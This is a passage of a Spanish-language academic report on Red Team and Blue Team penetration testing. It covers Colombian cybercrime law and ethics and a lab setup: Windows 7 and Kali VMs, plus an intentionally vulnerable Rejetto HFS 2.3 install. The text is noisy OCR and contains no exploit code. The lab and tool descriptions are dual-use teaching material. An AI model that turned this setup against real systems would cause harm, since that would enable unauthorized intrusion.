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RESUMEN

La informacién en la actualidad se establece en grados de exposicidon que hacen
gue se vea comprometida en perjuicio de sus intereses. La confidencialidad, la
integridad y la disponibilidad son los pilares que hacen necesaria la preparacion y
actualizacion continua en temas de seguridad informatica, tal como Ia
implementacion de las medidas y herramientas que permitan mitigar cualquier tipo
de riesgo.!

“Los equipos Red Team son quienes realizan pruebas de intrusioén, controladas y
sin causar ningun tipo de dafio o alteracion a la seguridad de la red de la empresa,
con el fin de encontrar vulnerabilidades y asi poder ejecutar un robustecimiento de
la infraestructura tecnoldgica basada en los hallazgos de este equipo. El equipo
Blue Team se ocupa de la seguridad defensiva realizando esta defensa de manera
proactiva, con un monitoreo Yy vigilancia constante sobre el comportamiento que
salen de lo comun en el rendimiento de una infraestructura tecnoldgica.”

1 METODOLOGIAS PARA PRUEBAS DE PENETRACION UTILIZADAS POR LOS EQUIPOS RED
TEAM Y BLUE TEAM, SALAMANCA ALMANZA, Fredy Armando, Trabajo de grado — Informe
técnico para seminarios especializado o créditos de maestria presentado para optar por el titulo de
especialista en seguridad informatica.
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GLOSARIO

Auditoria en Seguridad Informatica: es una revision que permite conocer de
primera mano, el estado de todos los sistemas que manejan algun tipo de
informacion en la entidad, con respecto a sus vulnerabilidades en seguridad
informética.

Confidencialidad: se entiende como la cualidad de que sélo yo puedo conocer y
acceder a mi informacion. Se asume, que una informacién es confidencial, cuando
me genera valor a mi y por ende no es permitido que terceros sin mi autorizacion
la conozcan. Ejemplo: toda la base de datos de clientes actuales que posee una
organizacion es informacion confidencial porque le permite trazar el camino para
concretar negocios con los mismos. Si mi competencia también conoce dicha
informacion, dejara de ser confidencial.

Disponibilidad: esta directamente alienada con la productividad de la
organizacion. Si la informacién no esté disponible en el momento que la requiero,
tal vez esto me ocasione la pérdida de un negocio, de un cliente o de una gran
oportunidad. Ejemplo: vamos a realizar el pago de la nGmina en nuestro sistema
contable y su sucede que la informacion no esta disponible. La consecuencia es
gue no se podra realizar ningun pago y los empleados terminaran disgustados con
la organizacion.

Equipo Blue Team: es un equipo multidisciplinario de expertos en seguridad
informética, el cual es el encargado de defender y proteger a las organizaciones
de ataques realizados por ciberdelincuentes. De igual manera, realiza de manera
proactiva, evaluaciones de las diferentes amenazas que puedan afectar las
empresas.

Equipo Red Team: es un equipo multidisciplinario de expertos en seguridad
informética, el cual es el encargado de emular atagues para explotar las
vulnerabilidades de seguridad de los sistemas de informacion y aplicaciones que
posean las organizaciones. Todo esto, desde el punto de vista de un atacante.

Gestion de la Seguridad Informéatica: permite garantizar que los riesgos de la
seguridad de la informacion sean conocidos, tratados y minimizados por la entidad,
realizando una acertada documentacion de la misma, permitiendo mitigar los
nuevos riesgos que se produzcan.

Gestion del riesgo informatico: permite determinar, valorar y analizar cada uno
de los riesgos identificados a los que se puede ver expuesta la informacion de la



entidad, con el fin de tomar medidas para controlarlos y mitigarlos.

Integridad: hace referencia a que la informacién que poseo no esta afectada, ni
manipulada, ni alterada, sino que se mantiene como fue guardada y consultada
por ultima vez. Ejemplo: la base de datos de diagndsticos para cirugias en una
entidad de salud debe mantenerse integra porque de lo contrario un paciente
podria ser operado de algo totalmente distinto al diagndstico inicial.

Seguridad de la informacion: medidas que se realizan con el fin de evitar que
vulnerabilidades y gente malintencionada, robe o altere el activo mas importante
de una organizacion, el cual es la informacion.

Seguridad en base de datos: es importante que toda entidad cuente con un
equipo especialista en seguridad informatica, el cual ayude a mitigar los riesgos
latentes por los diferentes ataques que puedan tener sus bases de datos.

Seguridad en Redes: su funcidén principal consiste en garantizar que la
informacién que posee una entidad se encuentre libre de riesgos producidos tanto
internamente como externamente.

Seguridad informatica: conjunto de técnicas que se pueden implementar para
proteger la seguridad de las redes, infraestructura e informacion digital que posee
una organizacion.



INTRODUCCION

El crecimiento exponencial del internet y las redes de comunicacién producto del
constante desarrollo de las organizaciones a nivel mundial, se ven reflejados en el
mejoramiento en la productividad, en la gestion del tiempo, en la comunicacion.
Sin embargo, en esa misma dinamica se encuentra los ciberataques. Estos que ya
no se limitan a solo objetivos de los mas altos niveles, afectan a cualquier
compafiia de utilice o dependa de aplicaciones, dispositivos y de sistemas
interconectados en redes.?

“Kaspersky Lab, sefalé desarrollos importantes en el mundo de los ataques
avanzados y los brotes epidémicos, con los ataques de WannaCry y ExPetr
dominando los titulares de todo el mundo. Actualmente, ademas de tener que lidiar
con la avalancha casi constante de malware tradicional, las empresas también
corren el riesgo de enfrentarse a amenazas mas sofisticadas que, por lo general,
involucran malware sin archivos, ransomware, actividades de reconocimiento y
técnicas de ingenieria social.”

Las organizaciones se estan esforzando para comprender como hacerle frente a
los cada vez mas frecuentes ataques cibernéticos. Estos que ya no se limitan a
solo objetivos de los mas altos niveles, afectan a cualquier compariia que utilice o
dependa de aplicaciones, dispositivos y de sistemas interconectados en redes.
“Una cuestion clave que resalta la investigacion es la importancia de la velocidad
a la hora de detectar y responder a las brechas de datos y los ataques dirigidos.
Ademas de que la velocidad de deteccion es uno de los impulsores mas fuertes
del costo general, la remediacion rapida es clave para limitar los costos
relacionados con el dafio prolongado relativo a la reputacién como la pérdida de
negocios, las primas de seguro aumentadas y las vergonzosas indemnizaciones.™

Las organizaciones deben contar con las politicas, procedimientos, recursos
técnicos y humanos necesarios para gestionar de forma efectiva y rapida, el riesgo
de ciberseguridad. “De acuerdo con la investigacion, solo una cuarta parte (25 %)
de las empresas descubrio el incidente de seguridad en el mismo dia, lo que
resalta la importancia de un proceso de respuesta a incidentes integral. De manera
alarmante, a una de cada diez empresas le tomd un afio descubrir la pérdida, el

3 METODOLOGIAS PARA PRUEBAS DE PENETRACION UTILIZADAS POR LOS EQUIPOS RED
TEAM Y BLUE TEAM, SALAMANCA ALMANZA, Fredy Armando, Trabajo de grado — Informe
técnico para seminarios especializado o créditos de maestria presentado para optar por el titulo de
especialista en seguridad informética.

4 KASPERSKY DAILY, Empresas, principal objetivo de ciberataques en América Latina, octubre 1
de 2020, Disponible en: https://latam.kaspersky.com/blog/empresas-principal-objetivo-de-
ciberataques-en-america-latina/20209/
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robo o el dafio a los datos, lo que hizo de la remediacion un proceso mas
complicado y costoso” ©

Una de las mejores propuestas que ofrecen los equipos Red Team y Blue Team,
es la de reaccionar proactivamente, haciendo deteccidn y estableciendo
respuesta, ante la evidencia de una o mas amenazas.

6 KASPERSKY DAILY, Empresas, principal objetivo de ciberataques en América Latina, octubre 1
de 2020, Disponible en: https://latam.kaspersky.com/blog/empresas-principal-objetivo-de-
ciberataques-en-america-latina/20209/



1. OBJETIVOS

1.1 OBJETIVO GENERAL

Elaborar un informe técnico en donde se plasme los procesos realizados teniendo
en cuenta los escenarios propuestos en el Seminario Especializado, respecto a los
Equipos Estratégicos en Ciberseguridad: Red Team & Blue Team.

1.2 OBJETIVOS ESPECIFICOS

Explicar las consideraciones legales de las metodologias de pruebas de
penetracion utilizadas en los equipos Red y Blue Team.

Argumentar consideracién ética en el ejercicio de la profesion.
Elaborar prueba de penetracion para evaluar el nivel de seguridad de un sistema.
Establecer las etapas de la metodologia de pruebas de penetracion utilizadas en

los equipos de Red Team y Blue team, que contribuyen a la identificacion de
amenazas en los sistemas informaticos.



2. DESARROLLO DEL INFORME

2.1 CONSIDERACIONES LEGALES

Colombia cuenta con organismos que ejercen responsabilidades de
ciberseguridad y ciberdefensa como el Grupo de Respuesta a Emergencias
Cibernéticas de Colombia (ColCERT), Comando Conjunto Cibernético de las
Fuerzas Militares (CCOC), Centro Cibernético Policial de la Policia Nacional
(CCP), Ministerio TIC (CSIRT Gobierno), entre otras. Actualmente por la crisis que
vive el mundo causado por el COVIT-19, ha aumentado la adaptacion de los
procesos de las organizaciones a los canales digitales, a las redes, a internet. Por
lo cual, en las ultimas mediciones de la ciberseguridad mundial, Colombia se
encuentra en el puesto 39 del ranking. Segun el informe de Tendencias de
Cibercrimen en Colombia’ , se reportaron 28.827 incidentes cibernéticos en el
2019, 54% de incremento con respecto a los incidentes reportados en el 2018 y el
delito informéatico més denunciado en Colombia es el hurto por medios
informéaticos.

En el mismo informe de Tendencias de Cibercrimen en Colombia, “. La
concentracion del fendbmeno criminal en 2019 sitia a Bogota, Cali, Medellin,
Barranquilla y Bucaramanga como las ciudades con mayor afectacion por esta
problemética con un 55% de los casos registrados. Si bien la cifra obedece a los
centros urbanos con mayor densidad poblacional y penetracion de internet en el
pais, el factor de desarrollo econémico influye en los objetivos de los
cibercriminales, que enfocan su actuar hacia PYMES, entidades financieras y
grandes compaiiias con asiento en estas ciudades.”®

En las pruebas de penetracion realizadas por los equipos Red Team, el equipo
auditor contratado buscara traspasar todas las medidas de seguridad de la
infraestructura tecnoldgica, lo que puede acarrear la puesta en riesgo del
funcionamiento integral del sistema, asi como la seguridad de toda la informacion
de caracter confidencial.

Con el fin de realizar los accesos a los sistemas y a la informacion dentro del marco
de las pruebas, la inclusion de las autorizaciones respectivas, con contrato, por
parte de las partes interesadas, de forma clara e inequivoca la vulneracion de

7 INFORME TENDENCIAS CIBERCRIMEN COLOMBIA (2019-2020), (CCIT, 2019), octubre 19 de
2019Disponible en: https://www.ccit.org.co/wp-content/uploads/informe-tendencias-
cibercrimen_compressed-3.pdf

8 CCIT, Tendencias del Cibercrimen en Colombia 2019-2020, octubre 19 de 2019, Disponible en:
https://www.ccit.org.co/estudios/tendencias-del-cibercrimen-en-colombia-2019-2020/
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todas las medias de seguridad de la organizacion establecidas en el alcance de
las pruebas, asi como establecer que la productividad podria verse alterada.

Otro aspecto importante en las clausulas del contrato, es el acuerdo de
confidencialidad, para que alli quede registrado explicitamente que no se podra
obtener ninguna clase de provecho ni causar algun perjuicio con la informacion
hallada, no se puede destruir informacion que sea necesaria para llevar a buen fin
las pruebas de penetracion.

“...ala hora de solicitar que realicen un pentesting a nuestros sistemas que pueda
permitir el acceso a informacion considerada como «secreto profesional» o datos
personales, debemos dejar claro que no se podra en ningln caso:

e obtener provecho ni causar prejuicio con la informacién descubierta;

e destruir lainformacion que no sea necesaria para llevar a cabo el test y guardar
de manera segura la que si lo sea;

no divulgar ningun tipo de informacion obtenida o a la que se ha tenido acceso.

Por lo tanto, en la contratacion del servicio de pentesting, se debera redactar un
contrato especifico para este servicio y se debe definir la forma correcta que no dé
lugar a ninguna duda:

las autorizaciones,

la informacién que esta disponible,

la técnica que se utilizara para la intrusion,

el tratamiento de la informacion que se pueda obtener, en particular si fueran
datos personales o informacion confidencial.”

Dentro del marco legislativo colombiano, frente a la proteccion de la informacion,
tenemos las siguientes disposiciones:

Se expone las principales normatividades que conforman el marco juridico a nivel
del territorio nacional como referente del presente informe técnico.

e “Ley 1273 de 2009, por medio de la cual se modifica el Cédigo Penal, se crea
un nuevo bien juridico tutelado - denominado “de la proteccién de la informacién

y de los datos™ y se preservan integralmente los sistemas que utilicen las
tecnologias de la informacion y las comunicaciones, entre otras disposiciones.

o Articulo 269A: Acceso abusivo a un sistema informético. El que, sin
autorizacion o por fuera de lo acordado, acceda en todo o en parte a un
sistema informatico protegido o no con una medida de seguridad, o se

9 INCIBE, Instituto Nacional de Ciberseguridad, ¢ Qué es el pentesting? Auditando la seguridad de
tus sistemas, Disponible en: https://www.incibe.es/protege-tu-empresa/blog/el-pentesting-
auditando-seguridad-tus-sistemas
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mantenga dentro del mismo en contra de la voluntad de quien tenga el

legitimo derecho a excluirlo.

Articulo 269B: Obstaculizacion ilegitima de sistema informatico o red de

telecomunicacion. El que, sin estar facultado para ello, impida u obstaculice

el funcionamiento o el acceso normal a un sistema informatico, a los datos
informaticos alli contenidos, 0 a una red de telecomunicaciones.

Articulo 269C: Interceptacion de datos informéaticos. El que, sin orden

judicial previa intercepte datos informaticos en su origen, destino o en el

interior de un sistema informatico, o las emisiones electromagnéticas
provenientes de un sistema informético que los transporte.

Articulo 269D: Dafio Informatico. El que, sin estar facultado para ello,

destruya, dafie, borre, deteriore, altere o suprima datos informaticos, o un

sistema de tratamiento de informacion o sus partes o componentes légicos.

Articulo 269F: Violacion de datos personales. El que, sin estar facultado

para ello, con provecho propio o de un tercero, obtenga, compile, sustraiga,

ofrezca, venda, intercambie, envie, compre, intercepte, divulgue, modifique

o emplee cdédigos personales, datos personales contenidos en ficheros,

archivos, bases de datos o medios semejantes.

Articulo 269G: Suplantacion de sitios web para capturar datos personales.

El que con objeto ilicito y sin estar facultado para ello, disefie, desarrolle,

trafique, venda, ejecute, programe o envie paginas electrénicas, enlaces o

ventanas emergentes.

En la misma sancién incurrira el que modifique el sistema de resolucion de

nombres de dominio, de tal manera que haga entrar al usuario a una IP

diferente en la creencia de que acceda a su banco o a otro sitio personal o

de confianza, siempre que la conducta no constituya delito sancionado con

pena mas grave.

La pena sefalada en los dos incisos anteriores se agravara de una tercera

parte a la mitad, si para consumarlo el agente ha reclutado victimas en la

cadena del delito.

Articulo 269H: Circunstancias de agravacion punitiva: Las penas imponibles

de acuerdo con los articulos descritos en este titulo, se aumentaran de la

mitad a las tres cuartas partes si la conducta se cometiere:

1. Sobre redes o sistemas informaticos o de comunicaciones estatales u
oficiales o del sector financiero, nacionales o extranjeros. 2. Por servidor
publico en ejercicio de sus funciones. 3. Aprovechando la confianza
depositada por el poseedor de la informacion o por quien tuviere un
vinculo contractual con este. 4. Revelando o dando a conocer el
contenido de la informacion en perjuicio de otro. 5. Obteniendo provecho
para si o para un tercero. 6. Con fines terroristas o generando riesgo para
la seguridad o defensa nacional. 7. Utilizando como instrumento a un
tercero de buena fe. 8. Si quien incurre en estas conductas es el
responsable de la administracion, manejo o control de dicha informacion,
ademas se le impondréa hasta por tres afios, la pena de inhabilitacion para

12



el ejercicio de profesion relacionada con sistemas de informacion
procesada con equipos computacionales.

o Articulo 269I: Hurto por medios informaticos y semejantes. El que,
superando medidas de seguridad informaticas, realice la conducta sefalada
en el articulo 239 manipulando un sistema informatico, una red de sistema
electrénico, telematico u otro medio semejante, o suplantando a un usuario
ante los sistemas de autenticacion y de autorizacion establecidos.

o Articulo 269J: Transferencia no consentida de activos. El que, con animo
de lucro y valiéndose de alguna manipulacion informatica o artificio
semejante, consiga la transferencia no consentida de cualquier activo en
perjuicio de un tercero, siempre que la conducta no constituya delito
sancionado con pena mas grave.”°

e “Ley 1581 de 2012 Articulo 1°. Objeto. La presente ley tiene por objeto
desarrollar el derecho constitucional que tienen todas las personas a conocer,
actualizar y rectificar las informaciones que se hayan recogido sobre ellas en
bases de datos o archivos, y los demas derechos, libertades y garantias
constitucionales a que se refiere el articulo 15 de la Constitucién Politica; asi
como el derecho a la informacién consagrado en el articulo 20 de la misma.”*!

e “Ley 1266 de 2008, Por la cual se dictan las disposiciones generales del hdbeas
data y se regula el manejo de la informacién contenida en bases de datos
personales, en especial la financiera, crediticia, comercial, de servicios y la
proveniente de terceros paises y se dictan otras disposiciones.”'?

10 MINTIC, "Ley 1273 5/01/2009, Por medio de la cual se maodifica el c6digo penal, se crea un nuevo
bien juridico tutelado - denominado "de la proteccién de la informacién y de los datos”, 05/01/2009,
Disponible en: https://www.mintic.gov.co/portal/604/articles-3705_documento.pdf

11 LEY ESTATUTARIA 1581 DE 2012, "Por el cual se reglamenta parcialmente la Ley 1581 de
2012", 17 de octubre de 2012, Disponible en:
https://www.defensoria.gov.co/public/Normograma%202013_htmlI/Normas/Ley_1581_2012.pdf

12 EY ESTATUTARIA 1266 DE 2008, CONGRESO DE LA REPUBLICA, 31 de diciembre de 2008,
Disponible en: http://www.secretariasenado.gov.co/senado/basedoc/ley _1266_2008.html
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2.2 CONSIDERACIONES ETICAS

En la ética se presenta principios que nos guian en el comportamiento a través del
ejercicio de la profesion, para generar un mayor bienestar en la sociedad en
general. Como ingenieros, entre los deberes del ejercicio de la profesion esté el
de responder ante una sociedad de forma respetuosa y atender a los principios de
convivencia. Con el tratamiento de la informacion y el deber de secreto, siendo
escrupulosos con el cumplimiento de las leyes informaticas vigentes en el uso de
los datos de caracter personal.

La ética es algo propio, a través del cual una persona decide o no cometer un
delito, y no especificamente por las consecuencias, sino por el hecho de que esa
accion no esta bien, que va contra sus principios morales. Es una decision libre.

La moral definida como la combinacién de creencias, costumbres valores, normas
gue posee un grupo social o persona, permite hacer la diferencia entre las acciones
correctas de las incorrectas frente a las normas éticas que rigen la profesion y la
sociedad en general.

COPNIA entidad publica que tiene la funcidn de controlar, inspeccionar y vigilar el
ejercicio de la ingenieria, de sus profesiones afines y de sus profesiones auxiliares
en general, en el territorio nacional., y frente al acuerdo manifestado por la
empresa The WhiteHose Security, en nuestro caso como ingenieros de sistemas,
se menciona alguno de los articulos vulnerados:

El articulo 35, Deberes de los profesionales para con la dignidad de sus
profesiones, respecto a su paragrafo b:” Respetar y hacer respetar todas las
disposiciones legales y reglamentaras que incidan en actos de estas profesiones,
asi como denunciar todas sus transgresiones;”*® Y a su paragrafo c: “Velar por el
buen prestigio de estas profesiones;”'4

El articulo 53, faltas calificadas como gravisimas, su paragrafo a: “Derivar, de
manera directa o por interpuesta persona, indebido o fraudulento provecho
patrimonial en ejercicio de la profesidon, con consecuencias graves para la parte
afectada;”. El paragrafo e: “e) Incurrir en algun delito que atente contra sus
clientes, colegas o autoridades de la Republica, siempre y cuando la conducta
punible comprenda el ejercicio de la ingenieria o de alguna de sus profesiones
auxiliares”; El paragrafo f: “Cualquier violacion gravisima, segun el criterio del
Consejo respectivo, del régimen de deberes, obligaciones y prohibiciones que

13 COPNIA, Consejo Profesional Nacional de Ingenieria, 14 de octubre 2003, Disponible en:
https://www.copnia.gov.co/nuestra-entidad/normatividad/ley-842-de-2003
14 COPNIA, Consejo Profesional Nacional de Ingenieria, 14 de octubre 2003, Disponible en:
https://www.copnia.gov.co/nuestra-entidad/normatividad/ley-842-de-2003
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establecen el Cadigo Etica y la presente ley.”15

15 COPNIA, Consejo Profesional Nacional de Ingenieria, 14 de octubre 2003, Disponible en:
https://www.copnia.gov.co/nuestra-entidad/normatividad/ley-842-de-2003
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2.3 PRUEBA DE PENETRACION

A Continuacion, Se realiza el montaje de la maguina Windows 7 Se 2020 sobre
Virtualbox:

Imagen 1, montaje de la maquina Windows 7 Se 2020.

=] General =] previsualizacién
Mombre: win7-5E2020

Sistema operativo:  Windows 7 (84-bit)

Sistema

Memoria base: 2043 MB =
Procesadores: 4 i win7-SE2020
Orden de arrangue:  Disguete, Optica, Disco duro

Aceleradion: VT-x/AMD-V, Paginacidn anidada, Paravirtualizacidn Hyper-v

] pantalla

Memoria de video: 128 MB

Controlador grafico: VBoNSVGA

Servidor de escritorio remoto:  Inhabilitado

Grabadidn: Inhabilitado

Almacenamiento

Controlador: SATA
Puerto SATAO:  win7-SE2020-disk001.vdi (Mormal, 50,00 GB)

o Audio

Controlador de anfitrién:  Windows DirectSound
Controlador: Audio Intel HD

B Red

Adaptador 1:  Intel PRO/1000 MT Desktop (Adaptador puente, «Qualcomm Atheros ARS46x Wireless Network Adapter:)

Fuente: Propio.
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Caracteristicas técnicas del hardware con la maquina encendida:

Imagen 2, Caracteristicas técnicas.

Ver i-1fd}nacio-1 basica acerca del equipo
Edicién de Windows

Windows 7 Home Premium

Copyright @ 2009 Microsoft Corporation. Reservades todos los dereches.

Sistema
Evaluacicn: La evaluacion del sistema no esta dispenible
Procesadon InteliR} Core(Th) i5-6200U CPU @ 2.30GHz 240 GHz
IMemaoria instalada (RAM}: 2,00 GB
Tipo de sistermna: Sistema operativo de 32 bits
Lapiz y entrada tactil: La entrada tactil o manuscrita no esta disponible para esta pantalla

Configuracién de nombre, dominio y grupo de trabajo del equipo

Mombre de equipo: wing
Mombre completo de wing
equipo:

Descripeicn del equipo:

Grupe de trabajo: WORKGROUP

Fuente: Propio.

Se realiza la identificacion de la IP:

Imagen 3, Identificacion de la IP.

B ChWindows\system32icmd.exe
Microsoft Windows [Version 6.1.76801

C:Userssusuario?ipconfiyg

Conf iguracidn IP de Windouws

Sufijo DMS especifico para la conexidn.
Direccidn IPvd4. . . . . . . . . . . . .

Mascara de subred . . . . . . . . . . .
Puerta de enlace predeterminada . . . .

Eztado de los medios. . - . . . . . . .
Sufijo DNS especifico para la conexidn.

C:~Uzerswusuario’

Adaptador de Ethernet Conexidn de Area local:

Uinculo: dirececién IPuvb local. . . : fe8@:

Ndaptador de tidnel isatap.{A6G58CFDA-2CEF-4786

(o] 6 )

Copyright <c> 2809 Microsoft Copporation. Reservados todos los derechos.

1959d:9885:95%c thfeax11
: 192.168.18.23

= 255.255.255.8

: 192.168.18.1

—?B5A-536C789076D53 =

: medios desconectados

Fuente: Propio.

IP 192.168.10.23
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Montaje maquina windows 7 se 2020 de 64 bits:

A Continuacion, se evidencia el montaje de la maquina Windows 7 SE 2020 de 64

Bits sobre Virtualbox:

Imagen 4, montaje de la maquina Windows 7 SE 2020 de 64 Bits.

Fuente: Propio.

E General

Nombre: Win7-5E2020-X64
Sistema operativo:  Windows 7 (64-bit)
Grupos: ESI Seg. DB

IE‘ Sistema

Memoria base: 4096 MB
Orden de arranque:  Optica, Disco duro
Aceleracidn: WT-x/AMD-V, Paginaddn anidada, Paravirtualizacin Hyper-¥

[H] Pantalla

Memoria de video: 18 MB
Controlador grafico: VBoxSVGA
Servidor de escritorio remoto:  Inhabilitado
Grabacién: Inhabilitado

Almacenamiento

Controlador: SATA
Puerto SATA O:
Puerto SATA L:

Win7-5E2020-X64-disk001.vdi (Normal, 50,00 GB)
[Unidad éptica] Vacio

o Audio

Controlador de anfitrion:  Windows DirectSound
Controlador: Audio Intel HD

= Red

Adaptador 1:  Intel PRO/1000 MT Desktop (NAT)
£ uss

Controlador USB: OHCIL

Filtros de dispositivos: 0 {0 activo)

Caracteristicas técnicas del hardware con la maquina encendida:

Imagen 5, caracteristicas técnicas del hardware.

Wer informacién basica acerca del equipo

Edicién de Windows

Windows 7 Professional
Copyright € 2008 Microsoft Corporation. Reservados todos los derechos,

Service Pack1l

Sisterna

Evaluacion:

Procesador:

Memoria instalada (RAM]):
Tipo de sistemna:

Lapiz y entrada tactil:

La evaluacién del sistema no esta disponible

Intel(R) Core(TM) i5-6200U CPU @ 2.30GHz 2.40 GHz
4,00 GB

Sisterna operativo de 64 bits

La entrada tactil o manuscrita ne esta disponible para esta pantalla

Configuracion de nembre, dominio y grupo de trabajo del equipo

Nembre de equipo:

Nembre completo de

equipo:

Descripcion del equipo:

Grupo de trabajo:

Fuente: Propio.

PC202006 B Cambiiar
PC202006 configuracién
WORKGROUP
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Se realiza la identificacion de la IP:

Imagen 6, Identificacion IP .
BN Administrador: C\Windows\system32\cmd.exe [=

Microsoft Windows [Uersidn 6.1.76011
Copyright <c» 288? Microsoft Corporation. Reservados todos los derechos.

C:slUserssusuarioripconfig

Configuracidn IP de Windows

Adaptador de Ethernet Conexidn de Area local:

Sufijo DHS especifico para la conexidn. . =

Uinculo: direccidn IPub local. . . : feB@::4842:9ced4:4e38:7898:x11
Diveccion IPv4. . . . . . . . . . . . . . = 18.8.2_15

Mascara de subred . . . . . . . . . . . . & 255_.255.255.8

Puerta de enlace predeterminada . . . . . = 18.8.2_.2

Adaptador de tinel isatap.{SBEBBED2-9?BA4-4799-BEB3-D289D73C2468>:

Eztado de los medios. . . . . . . . . . .
Sufijo DHS especifico para la conexidn. .

medios desconectados

Fuente: Propio.

IP 10.0.2.15

Montaje maquina kali Linux:

A Continuacion, se evidencia el montaje de la maquina Kali Linux sobre Virtualbox:

Imagen 7, montaje de la maquina Kali Linux.

=] General =] previsualizacién

Mombre: Kali - Seminario

Sistema operativo: Debian (54-bit)

IE‘ Sistema

Memoria base: 2043 MB = = -
Orden de arranque:  Optica, Disco duro Kall - Seminario
Aceleracion: WT-x/AMD-V, Paginacion anidada, Paravirtualizacion KvM

@ Pantalla

Memoria de video: 16 MB

Controlador grafico: VBOXVGA

Servidor de escritorio remoto:  Inhabilitado

Grabacidn: Inhabilitado

@ Almacenamiento

Controlador: IDE
Controlador: SATA
Puerto SATA 0: Kali - Seminario-disk001,vdi (Mormal, 50,00 GB)

ifn Audio

Controlador de anfitridn:  Windows DirectSound
Controlador: ICH ACST

EP Red

Adaptador 1:  Intel PRO/1000 MT Desktop (MAT)
(5 uss

Controlador USB: OHCI

Filtros de dispositivos: 0 (0 activo)

Fuente: Probio.
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Caracteristicas técnicas del hardware con la maguina encendida:

Imagen 8, caracteristicas técnicas del hardware.

Fuente: Propio.

Conexion maquina Kali Linux con Windows 7 SE2020

Realizamos ping 192.168.10.23 para acceder a la maquina y obtenemos
respuesta, conexion exitosa:

Imagen 9, ping 192.168.10.23.

Archivo Acciones Editar Vista Ayuda

PING

Fuente: Propio.
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Conexion maquina Kali Linux con Windows 7 SE2020 64 Bits

Realizamos ping 10.0.2.15 para acceder a la maquina y obtenemos respuesta,
conexion exitosa:
10.0.2.15.

Imagen 10, ping

estudiante@seminario: ~

Archivo Acciones Editar Vista Ayuda

F
6
6
6
6
6
6
6
6
6
6
6
6
i

Fuente: Propio.
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2.4 EJECUCION DE PRUEBA DE INTRUSION
2.4.1 HERRAMIENTAS

A continuacion, se exponen algunas de las herramientas que estan disponibles y
permiten ser usadas dentro de las pruebas de penetracion:

“Maltego: Es una herramienta que permite recolectar informacion de internet de
personas u organizaciones, permitiendo cruzar informacién para obtener cuentas
de redes sociales y correos electronicos. Maltego tiene dos tipos de médulos de
servidor, profesional y basica, la diferencia principal son los médulos a los que
tiene acceso cada version. Para terminar Maltego cuenta con una interfaz gréafica
muy intuitiva, su licencia es propietaria teniendo versiones de pago y libre.

Nessus: Es una solucion de evaluacion de vulnerabilidad estandar de la industria
gue ayuda a identificar vulnerabilidades, incluyendo fallas de software, parches
faltantes, malware y configuraciones erréneas, en una variedad de sistemas
operativos, dispositivos y aplicaciones. Tiene una licencia propietaria de pago.

OpenVas: Software de escaneo de vulnerabilidades muy completo, optimizado
para pruebas a gran escala, dentro de sus caracteristicas estan: realizar pruebas
no autenticadas y pruebas autenticadas; ademas, cuenta con su propio lenguaje
para implementar cualquier tipo de prueba de vulnerabilidad. Su licenciamiento es
GNU GPL.

Kali: Es una distribucién basada en Linux, su antecesor se puede decir que es
BackTrack. Este sistema operativo estd enfocado en la auditoria y la seguridad
informatica en general, trae preinstalado muchas herramientas para diferentes
actividades como escaneo de puertos, sniffer, crakeo de contrasefias, pruebas de
seguridad inaldmbrica, entre otras. Su licencia es GPL.

Foca: Es una herramienta para encontrar metadatos e informacion oculta en
documentos de texto y hojas de calculo, etc. Realiza una revision completa de
los ficheros para obtener datos relevantes de una empresa. Es una herramienta
gue se emplea de forma recurrente durante la etapa de recoleccion de
informacion.

Cain: También conocido como Cain y Abel, es una herramienta para la
recuperacion de contrasefias bajo diferentes métodos como fuerza bruta,
diccionario de datos o criptoanalisis; entre sus caracteristicas se destaca crakeo
web, aceleracion de captura de paquetes, calculadora de hashes y ARP Spoofing.
Su licencia es de software libre.
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Nmap: Utilidad multi plataforma de coédigo abierto con licencia GNU para
descubrimiento de redes y auditoria de seguridad. Emplea paquetes de IP sin
procesar para determinar si un host esta disponible en la red, los servicios activos,
el sistema operativo y los filtros que tiene el firewall; dentro de sus atributos estan
su flexibilidad, portabilidad, soporte por parte de una comunidad activa y la buena
documentacion que lo acompafia.

Metasploit: Framework con licencia BDS. Permite desarrollar y ejecutar exploit
contra maquinas remotas. Se construyé inicialmente en leguaje Perl, pero fue
reescrito en Ruby; esta orientado al desarrollo y ejecucion de exploit contra
maguinas remotas. La version no paga tiene soporte de la comunidad y la version
paga conocida como Metasploit pro esta soportada por Rapid 7.

Zenmap: Se puede decir que es un cliente de Nmap que brida una interfaz gréfica
para simplificar su uso sin perder su poder.”16

16 UNIVERSIDAD PILOTO DE COLOMBIA. Castro Carlos. Pruebas de penetracién e intrusion,
Pruebas de Penetracion e Intrusion, Castro, Carlos, Disponible en:
http://repository.unipiloto.edu.co/bitstream/handle/20.500.12277/6273/00005218.pdf?sequence=1
&isAllowed=y
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2.4.2 PRUEBA DE INTRUSION

Para el desarrollo del proceso de pentesting se utilizé la distribucién Kali Linux. Es
una distribucion basada en Linux, su antecesor se puede decir que es BackTrack.
Este sistema operativo esta enfocado en la auditoria y la seguridad informatica en
general, trae preinstalado muchas herramientas para diferentes actividades como
escaneo de puertos, sniffer, crakeo de contrasefias, pruebas de seguridad
inalambrica, entre otras. Su licencia es GPL.

Se realiz6 la instalacion de Rejetto HTTP File Server version 2.3 en el sistema
operativo Windows 7-X64

Imagen 11, instalacion de Rejetto HTTP File Server version 2.3.
Mombre

B2 his

(T2 com 2 ~om

Fuente: Propio.
Se realiz6 la creacién de la carpeta “prueba unad”

Imagen 12, creacién carpeta “prueba unad”.
Win7-SE2020-X6<4 [Corriendo] - Oracle VM VirtualBox

Archivae Maquina Ver Entrada Dispositivos Ayuda
#2 HFS ~ HTTP File Server 2.3m Build 200
B Menu | § Por:80 | @@ vou are in Expert mode |

& Open in browser [ETEEERLCRENI a2 0unad,

Wirtual File Systern

£ 08:30:38 p.m. 192.168.0.140:49269 Requested GET /
.| prueba unad 08:30:38 p.m. 192.168.0.140:49269 Reguested GET /?mode=jquery
08:30:59 p.m. 192 168 .0.140:49269 Requested GET fprueba unad/
08:30:59 p.m. 192 168.0.140:49269 Requested GET /?mode=jquery
08:31:00 p.m. 192.168.0.140:49272 Requested GET /
05:31:04 p.m. 192.168.0.140:49272 Requested GET /prueba unad/
058:31:04 p.m. 192.168.0.140:49272 Reqguested GET /?mode=jguery
08:31:05 p.m. 192.168.0.140:49272 Requested GET 7
08:31:08 p.m. 192.168.0.140:43272 Requested GET /prueba unad/
08:31:08 p.m. 192.168.0.140:49272 Requested GET /?mode=jquery
08:31:09 p.m. 192.1658.0.140:49272 Requested GET /
08:31:11 p.m. 192 168.0.140:489272 Requested GET fprueba unad/
08:31:11 p.m. 192 168.0.140:49272 Requested GET /?mode=jquery
